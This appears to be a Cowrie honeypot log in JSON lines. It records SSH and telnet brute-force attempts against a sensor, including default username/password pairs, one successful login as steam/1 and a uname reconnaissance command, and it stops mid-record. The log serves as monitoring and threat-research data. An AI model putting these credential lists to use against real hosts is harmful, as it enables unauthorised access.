{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:29.773434Z","src_ip":"176.65.132.254","session":"69d5a04153e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:30.281888Z","src_ip":"176.65.132.254","session":"69d5a04153e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:31.366495Z","src_ip":"176.65.132.254","session":"69d5a04153e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97314715385437,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:31.808990Z","src_ip":"65.60.27.33","session":"d3ad44f7e798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53372,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d86b7964b6","protocol":"telnet","message":"New connection: 62.210.97.77:53372 (10.17.0.5:23) [session: 01d86b7964b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:33.241627Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c64953e6ad31","protocol":"ssh","message":"New connection: 176.65.132.254:40336 (10.17.0.5:22) [session: c64953e6ad31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:33.988914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:33.993615Z","src_ip":"176.65.132.254","session":"c64953e6ad31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:34.080247Z","src_ip":"176.65.132.254","session":"c64953e6ad31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:34.354008Z","src_ip":"176.65.132.254","session":"c64953e6ad31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:35.484835Z","src_ip":"176.65.132.254","session":"c64953e6ad31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40362,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0898518653","protocol":"ssh","message":"New connection: 176.65.132.254:40362 (10.17.0.5:22) [session: 0a0898518653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:38.090013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:38.098308Z","src_ip":"176.65.132.254","session":"0a0898518653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:38.181979Z","src_ip":"176.65.132.254","session":"0a0898518653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:38.442022Z","src_ip":"176.65.132.254","session":"0a0898518653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:39.548416Z","src_ip":"176.65.132.254","session":"0a0898518653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9641170501709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:41.589725Z","src_ip":"62.210.97.77","session":"f3a173e866e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"60230e376128","protocol":"ssh","message":"New connection: 176.65.132.254:33892 (10.17.0.5:22) [session: 60230e376128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:42.049391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:42.060305Z","src_ip":"176.65.132.254","session":"60230e376128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:42.146484Z","src_ip":"176.65.132.254","session":"60230e376128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:42.642525Z","src_ip":"176.65.132.254","session":"60230e376128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50090,"dst_ip":"159.203.135.109","dst_port":23,"session":"489fb9e3e158","protocol":"telnet","message":"New connection: 134.209.8.29:50090 (159.203.135.109:23) [session: 489fb9e3e158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:42.946249Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:43.746217Z","src_ip":"176.65.132.254","session":"60230e376128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38314,"dst_ip":"10.17.0.5","dst_port":23,"session":"9284fef3286f","protocol":"telnet","message":"New connection: 62.210.97.77:38314 (10.17.0.5:23) [session: 9284fef3286f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:44.353424Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38330,"dst_ip":"10.17.0.5","dst_port":23,"session":"914adb9efc7e","protocol":"telnet","message":"New connection: 62.210.97.77:38330 (10.17.0.5:23) [session: 914adb9efc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:45.152658Z"}
{"eventid":"cowrie.session.closed","duration":38.91354846954346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:45.764023Z","src_ip":"165.232.131.181","session":"b9f156b4d229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38334,"dst_ip":"10.17.0.5","dst_port":23,"session":"281d110665f5","protocol":"telnet","message":"New connection: 62.210.97.77:38334 (10.17.0.5:23) [session: 281d110665f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.364757Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33908,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3e25ed9b0da","protocol":"ssh","message":"New connection: 176.65.132.254:33908 (10.17.0.5:22) [session: a3e25ed9b0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.482784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.494403Z","src_ip":"176.65.132.254","session":"a3e25ed9b0da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.582019Z","src_ip":"176.65.132.254","session":"a3e25ed9b0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.742333Z","src_ip":"115.190.87.35","session":"94fd4ef0b6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:46.841836Z","src_ip":"176.65.132.254","session":"a3e25ed9b0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38340,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4162dfb2773","protocol":"telnet","message":"New connection: 62.210.97.77:38340 (10.17.0.5:23) [session: e4162dfb2773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:47.222413Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38344,"dst_ip":"10.17.0.5","dst_port":23,"session":"4565cec4eb13","protocol":"telnet","message":"New connection: 62.210.97.77:38344 (10.17.0.5:23) [session: 4565cec4eb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:47.524600Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:48.091825Z","src_ip":"176.65.132.254","session":"a3e25ed9b0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.48497819900513,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:48.816137Z","src_ip":"134.209.8.29","session":"7980b96a2681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3cb2f0dc302","protocol":"ssh","message":"New connection: 176.65.132.254:33916 (10.17.0.5:22) [session: b3cb2f0dc302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:50.837273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:50.842558Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:50.940245Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.773669958114624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.146085Z","src_ip":"62.210.97.77","session":"6739a4d4e415","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.198115Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.407876Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.411783Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.498041Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:51.503655Z","src_ip":"176.65.132.254","session":"b3cb2f0dc302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86290001869202,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:52.101964Z","src_ip":"62.210.97.77","session":"28caca4a3f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"a95b65d08623","protocol":"telnet","message":"New connection: 134.209.8.29:53042 (159.203.135.109:23) [session: a95b65d08623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:52.125139Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52338,"dst_ip":"10.17.0.5","dst_port":23,"session":"299a816c1422","protocol":"telnet","message":"New connection: 62.210.97.77:52338 (10.17.0.5:23) [session: 299a816c1422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:54.489739Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33596,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50a9e372043","protocol":"ssh","message":"New connection: 176.65.132.254:33596 (10.17.0.5:22) [session: d50a9e372043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:54.699689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:54.706055Z","src_ip":"176.65.132.254","session":"d50a9e372043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-s